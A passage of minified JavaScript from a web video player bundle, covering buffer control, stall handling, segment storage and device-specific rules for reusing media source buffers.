this.startupPlaybackTime?this.startupPlaybackTime:(n=this.getCurrentTimeRespectingTarget(),!this.isBufferAvailable())?n:this.isInBufferedRange(n)?this.startupPlaybackTime=n:(i=this.currentRendererMediaTypes.map(function(n){return n.mimeType}),t=this.segmentStore.getPlaybackTimesForBufferBlock(this.currentPlayingBufferBlockId,i),t.some(function(n){return!isFinite(n)})?n:this.startupPlaybackTime=Math.max.apply(Math,t))},n.prototype.getRemainingTime=function(){return this.manifestService.isLive()?1/0:this.renderer.getDuration()-this.getCurrentTimeRespectingTarget()},n.prototype.endStartupPhase=function(){if(this.isStartup){var t=Date.now(),i=v.getMetricsState(this.context.store.getState()),r=v.getMetricsLastEntry(i,"default",y.MetricType.StartTime).value,n=b.toSeconds(t-r);this.context.store.dispatch(l.addMetricsValue("default",y.MetricType.StartupTimeSeconds,n));isNaN(n)||this.logger.debug("start up time: ".concat(n));this.isStartup=!1;this.endStalling()}},n.prototype.resetCurrentTimeInBufferedRange=function(n){var t=this.renderer.getCurrentTime(!0);n.isInit()&&o.MimeTypeHelper.isVideo(n.getMimeType())&&this.isCurrentlyStalled&&s.BufferRangeHelper.isInBufferedRange(this.getBufferedRangesMap(this.manifestService.getPeriodIdForTime(t)),t)&&(this.context.videoElement.currentTime=this.context.videoElement.currentTime)},n.prototype.processDrmInitData=function(n){var t=this;n.getDrmInitData().filter(function(n){var t;return(null===(t=n.kid)||void 0===t?void 0:t.length)>0}).forEach(function(i){return t.manifestService.setRepresentationDrmKid(n.getRepresentationId(),i.kid[0])})},n.prototype.addDataSegmentToRenderer=function(n){var r=this,i=o.MimeTypeHelper.extractContentType(n.getMimeType()),t;return this.activeInitSegments[i]!==n.getInitSegment()?(t=n.getInitSegment(),this.activeInitSegments[i]=t,Promise.all([t,n].map(function(n){return r.addSegmentToRenderer(n)})).then()):this.addSegmentToRenderer(n)},n.prototype.addSegmentToRenderer=function(n){var t=this;return n.hasDrmInitData()&&this.processDrmInitData(n),this.drmConfigValidPromise.catch(function(i){if(n.isEncrypted())throw t.context.eventHandler.fireError(function(n){return wt.ModuleManager.has(rt.ModuleName.DRM)?new ct.PlayerError(ht.ErrorCode.DRM_NO_KEY_SYSTEM,{reason:n}):new bt.PlayerModuleMissingError(rt.ModuleName.DRM)}(i)),"DRMConfig failure";t.logger.debug("Problem ensuring segment, error:",i)}).then(function(){return t.resetCurrentTimeInBufferedRange(n),t.maybeSetTimestampOffsetOnDiscontinuity(n),t.renderer.appendData(n).catch(function(n){t.logger.debug("could not append data to renderer",n)})})},n.prototype.maybeSetTimestampOffsetOnDiscontinuity=function(n){var u,t,i,r;n.isInit()||(u=n.getSegmentInfo().discontinuitySequenceNumber,t=n.getMimeType(),u!==this.discontinuitySequenceNumbers.get(t)&&(i=n.getPresentationTimeOffset(),isFinite(i)&&(this.renderer.setTimestampOffset(t,-i),r=this.currentRendererMediaTypes.find(function(n){return n.mimeType===t}),r&&(r.timestampOffset=i,this.updateMediaType(n.getPeriodId(),r))),this.discontinuitySequenceNumbers.set(t,u)))},n.prototype.isRestartThresholdReached=function(){var n,t,i;return this.bufferSettings?(n=this.settings.RESTART_THRESHOLD,tt.isWebOS()&&(n=Math.max(n,1.5)),t=this.bufferSettings.getForwardTargetLevel(),i=Math.min(n,t-this.settings.RESTART_THRESHOLD_DELTA,this.getRemainingTime()),this.getLowestBufferLevel()>=i):!1},n.prototype.isAllowedToStall=function(){return!this.isStartup&&!u.isSwitchingBufferBlocks(this.getSourceStore())},n.prototype.startStalling=function(){this.isAllowedToStall()&&this.bufferStallingService.startStalling()},n.prototype.getPlayerStateService=function(){return this.context.serviceManager.get(c.ServiceName.PlayerStateService)},n.prototype.isEndingStallAtGap=function(){var t=this.getPlayerStateService();if(!t)return!1;var i=this.getCurrentTimeRespectingTarget(),n=this.getLowestBufferLevel(i,!1),r=this.getLowestBufferLevel(i,!0),u=n>=this.settings.RESTART_THRESHOLD,f=n>=this.getRemainingTime()||this.finishPlayback,e=r>n;return!u&&!f&&!t.seekingOrTimeshifting&&e&&this.bufferStallingService.isRendererStalling()},n.prototype.endStalling=function(){if(!u.isSwitchingBufferBlocks(this.getSourceStore()))return this.isEndingStallAtGap()?(this.logger.debug("Ending stall at the gap"),void this.endStallAtGapCallback()):void this.bufferStallingService.endStalling();this.logger.debug("Ending stall was aborted due to buffer block switching")},n.prototype.getCurrentTimeRespectingTarget=function(){return void 0!==this.seekTarget?this.seekTarget:this.renderer.getCurrentTime()},n.prototype.getCurrentPlayingBufferBlockId=function(){return this.segmentStore.getCurrentBufferBlockId()},n.prototype.hasPendingSegments=function(n){return n=n||this.getCurrentPlayingBufferBlockId(),this.segmentStore.getFutureBufferBlocks(n).some(function(n){return n.hasSegments()})},n.prototype.getOverallBufferLevel=function(n,t,i,r){void 0===t&&(t=this.renderer.getCurrentTime());void 0===i&&(i=g.BufferType.ForwardDuration);void 0===r&&(r=!0);this.isStartup&&(t=this.getInitialPlaybackTime());var u=this.getBufferedRangesMap(this.currentPlayingPeriodId)[n];return u&&0!==u.length?(u=r?s.BufferRangeHelper.mergeRanges(u.concat(s.BufferRangeHelper.findGapsInRanges(u)),this.settings.GAP_TOLERANCE):u.filter(function(n){return n.start<=t&&t<=n.end}),s.BufferRangeHelper.getBufferLevel(u,t,i)):0},n.prototype.hasFutureCommonBuffer=function(n){return void 0===n&&(n=this.renderer.getCurrentTime()),s.BufferRangeHelper.getCommonBufferedRanges(this.getBufferedRangesMap(this.currentPlayingPeriodId)).some(function(t){return t.getEnd()>n})},n.prototype.hasFutureBufferBlockData=function(){var n;return Boolean(null===(n=this.segmentStore)||void 0===n?void 0:n.getNextBufferBlock(this.currentPlayingBufferBlockId))||u.isSwitchingBufferBlocks(this.getSourceStore())},n.prototype.isInBufferedRange=function(n,t){var i=t||this.manifestService.getPeriodIdForTime(n);return s.BufferRangeHelper.isInBufferedRange(this.getBufferedRangesMap(i),n)},n.prototype.isStarted=function(){return this.isAlreadyStarted},n.prototype.hasStreamEnded=function(){return this.hasStreamEndedInternal},n.prototype.subscribeToManifestChange=function(){var t,n;this.unsubscribeFromManifestChange||(n=this.getSourceStore(),void 0!==n&&void 0!==(null===(t=n.getState())||void 0===t?void 0:t.manifest)&&(this.unsubscribeFromManifestChange=w.subscribe(n)(kt.getManifest,this.updateTotalDuration,function(n){return(null==n?void 0:n.isInitialized)||!1})))},n.prototype.stop=function(n){void 0===n&&(n=!1);this.finishPlayback=!0;this.isAlreadyStarted=!1;this.isStartup=!1;n?(this.renderer.end(),this.hasStreamEndedInternal=!0,this.logger.debug("stopped playback"),this.renderer.off(f.MediaElementEvent.stalled,this.onVideoElementStalled),this.renderer.off(f.MediaElementEvent.waiting,this.onVideoElementStalled),this.renderer.off(f.MediaElementEvent.ended,this.onVideoElementEnded),this.renderer.off(f.MediaElementEvent.timeupdate,this.onVideoElementTimeUpdate),this.renderer.off(f.MediaElementEvent.currenttimenotadvancing,this.onTimeNotAdvancing),this.unsubscribeFromManifestChange&&(this.unsubscribeFromManifestChange(),this.unsubscribeFromManifestChange=void 0),void 0!==this.unsubscribeFromStoreStoppedListener&&(this.unsubscribeFromStoreStoppedListener(),this.unsubscribeFromStoreStoppedListener=void 0),this.clearBufferMaxSizeChangedSubscription(),this.dataSegmentsPushedMap.clear()):this.endStalling()},n.prototype.hasStopped=function(){return this.finishPlayback},n.prototype.clearBufferMaxSizeChangedSubscription=function(){var n=this;Object.keys(this.bufferMaxSizeChangedSubscriptionMap).forEach(function(t){return n.unsubscribeFromBufferMaxSizeChanged(t)})},n.prototype.restart=function(){this.finishPlayback=!1;this.isAlreadyStarted||(this.isAlreadyStarted=!0,this.renderer.on(f.MediaElementEvent.stalled,this.onVideoElementStalled),this.renderer.on(f.MediaElementEvent.waiting,this.onVideoElementStalled),this.renderer.on(f.MediaElementEvent.ended,this.onVideoElementEnded),this.renderer.on(f.MediaElementEvent.timeupdate,this.onVideoElementTimeUpdate),this.renderer.on(f.MediaElementEvent.currenttimenotadvancing,this.onTimeNotAdvancing));this.hasStreamEndedInternal=!1},n.prototype.dispose=function(){var n,t;this.stop(!0);this.renderer=null;this.eventHandler=null;this.settings=null;this.bufferSettings=null;this.eventHandler=null;this.segmentStore=void 0;this.activeInitSegments=null;null===(n=this.unsubscribeFromStoreSeekedListener)||void 0===n||n.call(this);null===(t=this.getSourceStore())||void 0===t||t.dispatch(r.resetLoadedRanges());this.bufferRangesCache.dispose();this.currentRendererMediaTypes=[];this.clearBufferMaxSizeChangedSubscription();this.drmConfigValidPromise=null;this.bufferStallingService=vt.dispose(this.bufferStallingService)},n.prototype.changeBufferType=function(n,t){var f,u,i=this.currentRendererMediaTypes.find(function(t){return o.MimeTypeHelper.getMediaType(t.mimeType)===o.MimeTypeHelper.getMediaType(n)});return i&&(this.currentRendererMediaTypes.splice(this.currentRendererMediaTypes.indexOf(i),1),this.currentRendererMediaTypes.push({mimeType:n,codec:t,timestampOffset:0}),this.unsubscribeFromBufferMaxSizeChanged(i.mimeType),null===(u=this.getSourceStore())||void 0===u||u.dispatch(r.resetLoadedRanges(i.mimeType))),this.subscribeToBufferMaxSizeChanged(n),this.segmentStore.changeMediaType(n,null==i?void 0:i.mimeType),this.activeInitSegments={},i?this.renderer.changeBufferType(n,t):Promise.resolve(((f={})[n]=t,f))},n.prototype.addRequiredMediaType=function(n,t){this.segmentStore.addRequiredMediaType(n,t)},n.prototype.updateMediaType=function(n,t){this.segmentStore.updateMediaType(n,t)},n.prototype.areBufferBlockMediaTypesFinalForPeriod=function(n){var t,i;return null!==(i=null===(t=this.segmentStore)||void 0===t?void 0:t.areBufferBlockMediaTypesFinalForPeriod(n))&&void 0!==i&&i},n.prototype.clearCacheForMimeType=function(n){var t;null===(t=this.getSourceStore())||void 0===t||t.dispatch(r.resetLoadedRanges(n));this.segmentStore.clearSegments(n)},n.prototype.clearCache=function(){var n,t=this;Object.keys(ni.getStreamTimeline(null===(n=this.getSourceStore())||void 0===n?void 0:n.getState())).filter(function(n){return o.MimeTypeHelper.isAV(n)}).forEach(function(n){return t.clearCacheForMimeType(n)})},n.prototype.clearBuffers=function(){var t=this,n;return this.isClearingBuffers=!0,this.startStalling(),this.clearCache(),n=this.clearRendererBuffers(),n.finally(function(){return t.isClearingBuffers=!1}),n},n.prototype.clearRendererBuffers=function(){var t=this,n;return this.isBufferAvailable()?(n=this.currentRendererMediaTypes.map(function(n){return t.clearBuffer(n.mimeType)}),Promise.all(n).then(function(){})):Promise.resolve()},n.prototype.clearBuffer=function(n){var t=this;return this.renderer.removeData(n).catch(function(i){return t.logger.debug("Error clearing ".concat(n," buffer:"),i)})},n.prototype.isBufferAvailable=function(){return this.currentRendererMediaTypes.length>0},n}();t.BufferController=fi},16492:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.BufferRangesCache=void 0;var e=i(18665),r=i(33669),u=i(3464),f=i(28337),o=function(){function n(n,t){var i=this;this.context=n;this.segmentStore=t;this.sourceStore=this.getSourceStore();this.unsubscribeToStoreChange=u.subscribe(n.store)(f.sourceIdentifiersSelector,function(){return i.onSourceIdentifierChanged()},function(n,t){return!!n.includes(i.context.sourceContext.sourceIdentifier)&&f.hasASourceStoreIdentifierChanged(n,t)});this.subscribeToBufferChange();this.setNewCache(r.getBufferState(this.sourceStore.getState()))}return n.prototype.onSourceIdentifierChanged=function(){this.sourceStore=this.getSourceStore();this.sourceStore?(this.subscribeToBufferChange(),this.setNewCache(r.getBufferState(this.sourceStore.getState()))):this.unsubscribeToBufferChange()},n.prototype.getSourceStore=function(){return this.context.serviceManager.get(e.ServiceName.SourceStoreService,this.context.sourceContext.sourceIdentifier)},n.prototype.unsubscribeToBufferChange=function(){this.unsubscribeToBufferRangeChange&&this.unsubscribeToBufferRangeChange();this.unsubscribeToBufferRangeChange=void 0;this.unsubscribeToStoreChange=void 0},n.prototype.subscribeToBufferChange=function(){var n=this;this.unsubscribeToBufferChange();this.unsubscribeToBufferRangeChange=u.subscribe(this.sourceStore)(function(n){return r.getBufferState(n)},function(t){return n.setNewCache(t)},r.hasBufferRangesChanged)},n.prototype.setNewCache=function(n){this.cachedBufferRanges={overallBufferRanges:r.getBufferRangesMap(this.segmentStore,n,this.context.settings.GAP_TOLERANCE)}},n.prototype.getRanges=function(n){return void 0!==this.unsubscribeToBufferRangeChange&&void 0!==this.cachedBufferRanges&&0!==Object.keys(this.cachedBufferRanges.overallBufferRanges).length||this.setNewCache(n),this.cachedBufferRanges.overallBufferRanges},n.prototype.dispose=function(){this.unsubscribeToBufferChange();this.unsubscribeToStoreChange&&(this.unsubscribeToStoreChange(),this.unsubscribeToStoreChange=void 0);this.cachedBufferRanges=void 0},n}();t.BufferRangesCache=o},15109:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.BufferStallingService=void 0;var r=i(76420),u=i(13533),f=i(43485),e=function(){function n(n,t,i){this.playerStateService=n;this.logger=t;this.renderer=i}return n.prototype.startStalling=function(){this.isRendererStalling()||(this.logger.debug("Stalling playback at ".concat(this.renderer.getCurrentTime(!0))),this.logger.insane("Video element stall started in state: ".concat(this.playerStateService.playbackState)),this.playerStateService.setIsRendererStalling(!0),this.playerStateService.isPlaying()&&(this.logger.insane("Call pause on renderer"),this.renderer.pause()))},n.prototype.endStalling=function(){var t=this,n;this.isRendererStalling()&&(this.playerStateService.setIsRendererStalling(!1),n=[r.PlaybackState.Play,r.PlaybackState.Playing].includes(this.playerStateService.playbackState),this.logger.debug("Unstalling and ".concat(n?"":"not ","restarting playback")),n&&(!this.playerStateService.seekingOrTimeshifting&&function(){var n;return u.getCapabilities().isWebOS?(null!==(n=f.getWebOsVersion().major)&&void 0!==n?n:0)===f.WEBOS_2020_CHROMIUM_VERSION:u.getCapabilities().isChromium}()&&(this.logger.debug("Resetting current time before unstalling"),this.renderer.setCurrentTime(this.renderer.getCurrentTime())),this.renderer.play().catch(function(n){t.logger&&t.logger.debug("Play after unstalling failed with reason: ".concat(n))})))},n.prototype.isRendererStalling=function(){return this.playerStateService.getIsRendererStalling()},n.prototype.dispose=function(){this.logger=null;this.playerStateService=null;this.renderer=null},n}();t.BufferStallingService=e},27076:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.DeferredReject=void 0;var i=function(){function n(){this.rejected=!1}return n.prototype.reject=function(n){this.rejected=!0;this.rejectMessage=n},n.prototype.next=function(n){return this.rejected?Promise.reject(this.rejectMessage):n()},n}();t.DeferredReject=i},42346:function(n,t,i){function s(n){return n.map(function(n){return{range:n.getCommonPlaybackTimeRanges(),block:n}}).sort(function(n,t){return n.range.start-t.range.start})}var r=this&&this.__assign||function(){return r=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},r.apply(this,arguments)},o;Object.defineProperty(t,"__esModule",{value:!0});t.SegmentStore=t.INITIAL_BUFFER_BLOCK_ID=void 0;var u=i(80043),f=i(79814),e=i(55937),h=i(73022),c=i(19724);t.INITIAL_BUFFER_BLOCK_ID=0;o=function(){function n(n){this.requiredMediaTypes={};this.delayedMediaTypeToUpdate={};this.delayedMediaTypeToSet={};var i=new e.BufferBlock(t.INITIAL_BUFFER_BLOCK_ID);this.requiredMediaTypes={};this.segregation=new c.Segregation(this.requiredMediaTypes,n);this.bufferBlocks=[i]}return n.prototype.getBufferBlockByPeriodId=function(n){return this.bufferBlocks.find(function(t){return t.getPeriodId()===n})},n.prototype.hasSegmentsForBufferBlock=function(n){return this.getAllSegmentsFromBufferBlock(n).hasNext()},n.prototype.hasDataSegmentsForBufferBlock=function(n){return Object.keys(n.mediaTypes).filter(function(n){return f.MimeTypeHelper.isAV(n)}).every(function(t){return n.hasDataSegments(t)})},n.prototype.getTargetBufferBlock=function(n,t){return this.getBufferBlockForPlaybackTime(n)||this.getClosestFutureBufferBlock(n)||this.getBufferBlockByPeriodId(t)},n.prototype.canSwitchToBufferBlock=function(n){if(!n)return!1;var t=this.areBufferBlockMediaTypesFinal(n);return this.hasDataSegmentsForBufferBlock(n)&&t},n.prototype.canSwitchToBufferBlockForTime=function(n){var t=this.getBufferBlockForPlaybackTime(n);return this.canSwitchToBufferBlock(t)},n.prototype.areBufferBlockMediaTypesFinalForPeriod=function(n){var t=this.getBufferBlockByPeriodId(n);return this.areBufferBlockMediaTypesFinal(t)},n.prototype.areBufferBlockMediaTypesFinal=function(n){var r=this,t,i;return!n||!n.mediaTypes||0===Object.keys(n.mediaTypes).length?!1:(t=n.getPeriodId(),void 0===this.requiredMediaTypes[t])?!1:(i=Object.keys(n.mediaTypes),Object.keys(this.requiredMediaTypes[t]).filter(function(n){return f.MimeTypeHelper.isAV(n)}).every(function(n){var u;return i.includes(n)&&(null===(u=r.requiredMediaTypes[t][n])||void 0===u?void 0:u.codec)}))},n.prototype.addRequiredMediaType=function(n,t){var i=this.getBufferBlockByPeriodId(n);this.requiredMediaTypes[n]||(this.requiredMediaTypes[n]={});this.requiredMediaTypes[n][t]||(this.requiredMediaTypes[n][t]={mimeType:t,codec:null,timestampOffset:0});i?i.mediaTypes[t]||i.addMediaType({mimeType:t,codec:null,timestampOffset:0}):(this.delayedMediaTypeToSet[n]||(this.delayedMediaTypeToSet[n]={}),this.delayedMediaTypeToSet[n][t]={mimeType:t,codec:null,timestampOffset:0})},n.prototype.changeMediaType=function(n,t){var i=this,u=Object.keys(this.requiredMediaTypes),r=t;u.forEach(function(u){t||(r=Object.keys(i.requiredMediaTypes[u]).find(function(t){return f.MimeTypeHelper.getMediaType(t)===f.MimeTypeHelper.getMediaType(n)}));i.removeRequiredMediaType(u,r);i.addRequiredMediaType(u,n)})},n.prototype.removeRequiredMediaType=function(n,t){if(this.requiredMediaTypes[n]){delete this.requiredMediaTypes[n][t];var i=this.getBufferBlockByPeriodId(n);i&&i.removeMediaType(t)}this.delayedMediaTypeToSet[n]&&delete this.delayedMediaTypeToSet[n][t];this.clearSegments(t)},n.prototype.updateRequiredMediaTypes=function(n,t){var i,u;this.requiredMediaTypes[n]?(u=this.requiredMediaTypes[n][t.mimeType],this.requiredMediaTypes[n][t.mimeType]=r(r({},u),t)):this.requiredMediaTypes[n]=((i={})[t.mimeType]=t,i)},n.prototype.updateMediaType=function(n,t){var u,i;this.updateRequiredMediaTypes(n,t);i=this.getBufferBlockByPeriodId(n);(null==i?void 0:i.hasMediaType(t.mimeType))?i.updateMediaTypeForMimeType(t):this.delayedMediaTypeToUpdate[n]=r(r({},this.delayedMediaTypeToUpdate[n]||{}),((u={})[t.mimeType]=t,u))},n.prototype.findBestMatchingBufferBlockForSegment=function(n,t){var o=this,i,r;if(1===this.bufferBlocks.length&&this.segregation.canAddSegmentToBufferBlock(n,this.bufferBlocks[0],t))return this.bufferBlocks[0];i=[];r=[];this.bufferBlocks.forEach(function(u){o.segregation.canAddSegmentToBufferBlock(n,u,t)?i.push(u):r.push(u)});var h=s(i),u=s(r),f=n.getPlaybackTime(),e=h.find(function(n){var t=function(n,t){return t.reduce(function(t,i){return i.range.end<=n?Math.max(i.range.start,t):t},-1/0)}(n.range.start,u),i=function(n,t){return t.reduce(function(t,i){return i.range.start>=n?Math.min(i.range.start,t):t},1/0)}(n.range.end,u);return t<=f&&f<=i});if(null!=e)return e.block},n.prototype.addSegment=function(n){var u=this.segregation.getSegregationCriteria(n),r=this.findBestMatchingBufferBlockForSegment(n,u),t,i;r||(r=this.createNewBufferBlock(),this.bufferBlocks.push(r));r.addSegment(n);r.getSegregationCriteria(n.getMimeType())||r.setSegregationCriteria(u,n.getMimeType());t=n.getPeriodId();i=n.getMimeType();this.delayedMediaTypeToSet[t]&&this.delayedMediaTypeToSet[t][i]&&(this.addRequiredMediaType(t,i),delete this.delayedMediaTypeToSet[t][i]);this.delayedMediaTypeToUpdate[t]&&this.delayedMediaTypeToUpdate[t][i]&&(this.updateMediaType(t,this.delayedMediaTypeToUpdate[t][i]),delete this.delayedMediaTypeToUpdate[t][i])},n.prototype.getNewBufferBlockId=function(){var n=this.bufferBlocks[this.bufferBlocks.length-1];return n?n.getId()+1:t.INITIAL_BUFFER_BLOCK_ID},n.prototype.createNewBufferBlock=function(){var n=this.getNewBufferBlockId();return new e.BufferBlock(n)},n.prototype.getMediaTypes=function(n){var t=this;return n&&this.requiredMediaTypes[n]?Object.keys(this.requiredMediaTypes[n]).map(function(i){return t.requiredMediaTypes[n][i]}):[]},n.prototype.getAllBufferBlocks=function(){return this.bufferBlocks},n.prototype.getCurrentBufferBlockId=function(){var n,i=this.bufferBlocks[0];return null!==(n=null==i?void 0:i.getId())&&void 0!==n?n:t.INITIAL_BUFFER_BLOCK_ID},n.prototype.deleteOldBufferBlocks=function(n){this.bufferBlocks=this.bufferBlocks.filter(function(t){return t.getId()>=n&&t.getAllSegments().length>0})},n.prototype.getActiveBufferBlock=function(){var n;return null!==(n=this.getBufferBlock(this.getCurrentBufferBlockId()))&&void 0!==n?n:null},n.prototype.getBufferBlock=function(n){return this.bufferBlocks.find(function(t){return t.getId()===n})},n.prototype.getBufferBlockForSegment=function(n){return this.getBufferBlock(n.getBufferBlockId())},n.prototype.getBufferBlockForPlaybackTime=function(n){var i=this,t=this.bufferBlocks.filter(function(t){var r=0===n?i.getSmallestMaxSegmentDuration(t)-.01:.01;return Object.keys(t.mediaTypes).filter(function(n){return f.MimeTypeHelper.isAV(n)}).every(function(i){var u,f;return(null===(u=t.getPlaybackTimeRange(i))||void 0===u?void 0:u.start)<=n+r&&(null===(f=t.getPlaybackTimeRange(i))||void 0===f?void 0:f.end)>=n})});return t[t.length-1]},n.prototype.getClosestFutureBufferBlock=function(n){return this.bufferBlocks.filter(function(t){return t.getMinCommonStartTime()>=n}).sort(function(n,t){return n.getMinCommonStartTime()-t.getMinCommonStartTime()})[0]},n.prototype.getNextSegment=function(){var n,t;return null!==(t=null===(n=this.getActiveBufferBlock())||void 0===n?void 0:n.getNextSegment())&&void 0!==t?t:null},n.prototype.removeSegment=function(n){var t=this.getBufferBlockForSegment(n);t&&t.removeSegment(n)},n.prototype.getAllSegmentsFromBufferBlock=function(n,t){if(!n)return u.EmptyIterator.getInstance();var i=n.getAllSegments();return t?new u.FilterIterator(new u.ArrayIterator(i),function(n){return n.getMimeType()===t}):new u.ArrayIterator(i)},n.prototype.getNextBufferBlock=function(n){return this.bufferBlocks.find(function(t){return t.getId()>n})},n.prototype.getFutureBufferBlocks=function(n){return this.bufferBlocks.filter(function(t){return t.getId()>=n})},n.prototype.getPrecedingSegments=function(n,t){return this.bufferBlocks.flatMap(function(i){return i.getPrecedingSegments(n,t)})},n.prototype.clearSegments=function(n){this.bufferBlocks.forEach(function(t){return t.clearSegments(n)})},n.prototype.getSmallestMaxSegmentDuration=function(n){return Boolean(n)&&n.hasMaxSegmentDurations()?n.getMinMaxSegmentDuration():-1},n.prototype.getSmallestSafeBufferSize=function(n,t){var i=this.getBufferBlockForPlaybackTime(n);return(null==i?void 0:i.hasMaxSegmentDuration(t))?i.getMaxSegmentDuration(t)+1:1},n.prototype.getAvailablePositionForTime=function(n,t){var r=n,i;return t&&n>t&&(i=this.getBufferBlockForPlaybackTime(n),i||(i=this.getClosestFutureBufferBlock(n))&&(r=i.getMinCommonStartTime())),r},n.prototype.getPlaybackTimesForBufferBlock=function(n,t){var i=this,r=this.getBufferBlock(n);return t.map(function(n){var t=new u.FilterIterator(i.getAllSegmentsFromBufferBlock(r,n),function(n){return!n.isInit()});return t.hasNext()?t.next().getPlaybackTime():-1/0})},n.prototype.isLoadingNextBufferBlock=function(n){var t=this.getNextBufferBlock(n);return!!t&&this.hasDataSegmentsForBufferBlock(t)},n.prototype.shouldSwitchBufferBlock=function(n,t){return!h.areBufferBlocksEqual(n,this.getBufferBlock(t))},n}();t.SegmentStore=o},19724:function(n,t,i){function c(n,t,i){return void 0===i&&(i=[]),Object.keys(n).filter(function(n){return!i.includes(n)}).every(function(i){return t&&t[i]===n[i]})}function b(n){return n.isEncrypted()?s.EncryptionState.Encrypted:s.EncryptionState.Clear}function v(n,t){var i=n.getMediaTypes().find(function(n){return n.mimeType===t});return i?i.timescale:0}function k(){return r.getCapabilities().isTizen?tt:r.getCapabilities().isLegacyEdge?ut:r.getCapabilities()[o.CapabilityKey.isEdge]?it:r.getCapabilities()[o.CapabilityKey.isFirefox]?nt:r.getCapabilities()[o.CapabilityKey.isWebOS]?rt:r.getCapabilities()[o.CapabilityKey.isPlayStation4]?g:d}function f(n,t,i){return{currentCriteria:n.getSegregationCriteria(i),nextCriteria:t.getSegregationCriteria(i)}}function e(n,t){return(null==n?void 0:n.codec)===(null==t?void 0:t.codec)}function h(n,t){return(null==n?void 0:n.encryption)===(null==t?void 0:t.encryption)}function l(n,t){return(null==n?void 0:n.periodId)===(null==t?void 0:t.periodId)}function y(n,t){return(null==n?void 0:n.discontinuityNumber)===(null==t?void 0:t.discontinuityNumber)}function a(n,t,i){return v(n,i)===v(t,i)}Object.defineProperty(t,"__esModule",{value:!0});t.canReuseSourceBuffer=t.areSegregationCriteriaEqual=t.Segregation=void 0;var o=i(11399),r=i(13533),u=i(43485),p=i(42283),s=i(55937),w=function(){function n(n,t){this.requiredMediaTypes=n;this.settings=t;this.requiredMediaTypes=n}return n.prototype.isRequiredMimeType=function(n,t){return void 0===t.getPeriodId()||Boolean(this.requiredMediaTypes[t.getPeriodId()]&&this.requiredMediaTypes[t.getPeriodId()][n.getMimeType()])},n.prototype.getSegregationCriteria=function(n){var t,r={encryption:b(n),codec:p.CodecStringHelper.extractCodec(n.getCodec()),periodId:n.getPeriodId()},i;return(u.isTizen2016()||u.isTizen2017()||u.isWebOS()||u.isPlayStation4())&&this.settings.HLS_CLEAR_BUFFERS_ON_DISCONTINUITY_SWITCHES&&(i=null===(t=n.getSegmentInfo())||void 0===t?void 0:t.discontinuitySequenceNumber,null!=i&&(r.discontinuityNumber=i)),r},n.prototype.canAddSegmentToBufferBlock=function(n,t,i){var r,e=t.getMediaTypes(),o,u,f,s;return 0===e.length?!0:(o=n.getMimeType(),u=t.getSegregationCriteria(o),u)?c(i,u):this.isRequiredMimeType(n,t)?(f=null===(r=e.find(function(t){return t.mimeType!==n.getMimeType()}))||void 0===r?void 0:r.mimeType,s=void 0!==n.getSegmentInfo().discontinuitySequenceNumber,f&&s?c(i,t.getSegregationCriteria(f),["codec"]):n.getPeriodId()===t.getPeriodId()):!1},n}();t.Segregation=w;t.areSegregationCriteriaEqual=c;t.canReuseSourceBuffer=function(n,t,i){var r=k();return i.every(function(i){var u=i.mimeType;return r.canReuseSourceBuffers(n,t,u)})};var d={canReuseSourceBuffers:function(n,t,i){var r=f(n,t,i),u=r.currentCriteria,o=r.nextCriteria;return e(u,o)&&h(u,o)}},g={canReuseSourceBuffers:function(n,t,i){var o=f(n,t,i),r=o.currentCriteria,u=o.nextCriteria;return e(r,u)&&h(r,u)&&y(r,u)&&l(r,u)&&a(n,t,i)}},nt={canReuseSourceBuffers:function(n,t,i){var r=f(n,t,i);return e(r.currentCriteria,r.nextCriteria)}},tt={canReuseSourceBuffers:function(n,t,i){var s=f(n,t,i),r=s.currentCriteria,o=s.nextCriteria,c=e(r,o)&&h(r,o)&&l(r,o),v=u.isTizen2016()&&!a(n,t,i);return!(u.isTizen2017()||!c||v)}},it={canReuseSourceBuffers:function(n,t,i){var o=f(n,t,i),r=o.currentCriteria,u=o.nextCriteria,h=(null==r?void 0:r.encryption)===s.EncryptionState.Clear,c=(null==u?void 0:u.encryption)===s.EncryptionState.Clear;return e(r,u)&&h&&c}},rt={canReuseSourceBuffers:function(n,t,i){var o=f(n,t,i),r=o.currentCriteria,u=o.nextCriteria;return e(r,u)&&h(r,u)&&l(r,u)&&a(n,t,i)&&!y(r,u)}},ut={canReuseSourceBuffers:function(){return!1}}},99162:function(n,t,i){function e(n,t){if(isNaN(t))return 0;var i=r.toSeconds(Date.now()-n);return i>=t?0:r.toMilliSeconds(t-i)}var u,r,f;Object.defineProperty(t,"__esModule",{value:!0});t.calculateUpdateDelayInMillis=t.AbstractUpdater=t.REPRESENTATION_UPDATE_CANCEL=void 0;u=i(10981);r=i(331);t.REPRESENTATION_UPDATE_CANCEL="CANCEL";f=function(){function n(n){var t=this;this.updateCallbacks=n;this.handlePayloadUpdateError=function(n){t.publishErrorResponse(n);t.clearTimeout()};this.processPayload=function(n){t.success(n);t.clearTimeout();t._isStopped||t.scheduleUpdate()};this._isStopped=!1}return n.prototype.cancel=function(){this._updateDeferred&&(this._updateDeferred.reject(t.REPRESENTATION_UPDATE_CANCEL),this.updateCallbacks.error(t.REPRESENTATION_UPDATE_CANCEL));this.clearTimeout()},n.prototype.clearTimeout=function(){window.clearTimeout(this.updateTimeoutId);this.updateTimeoutId=null},n.prototype.stop=function(){null!==this.updateTimeoutId&&(this._isStopped=!0,this.cancel())},n.prototype.start=function(){this._isStopped=!1;this.scheduleUpdate()},n.prototype.scheduleUpdate=function(){this.updateTimeoutId||this._isStopped||this.initializeUpdate()},n.prototype.initializeUpdate=function(){var t=this,i=e(this.getLastReloadTimestamp(),this.getReloadIntervalInSeconds()),n,r;i>2147483647||(n=new u.Deferred,r={wasInvalidated:function(){return n!==t._updateDeferred}},n.promise.catch(function(){}),this._updateDeferred=n,this.updateTimeoutId=window.setTimeout(function(){return t.payloadUpdate(r)},i))},n.prototype.payloadUpdate=function(n){var t=this;this.update().then(this.processPayload).catch(function(i){n.wasInvalidated()||t.handlePayloadUpdateError(i)})},n.prototype.publishErrorResponse=function(n){this._updateDeferred.reject(n);this.updateCallbacks.error(n)},n.prototype.success=function(n){this._updateDeferred.resolve(n);this.updateCallbacks.success(n)},Object.defineProperty(n.prototype,"isStopped",{get:function(){return 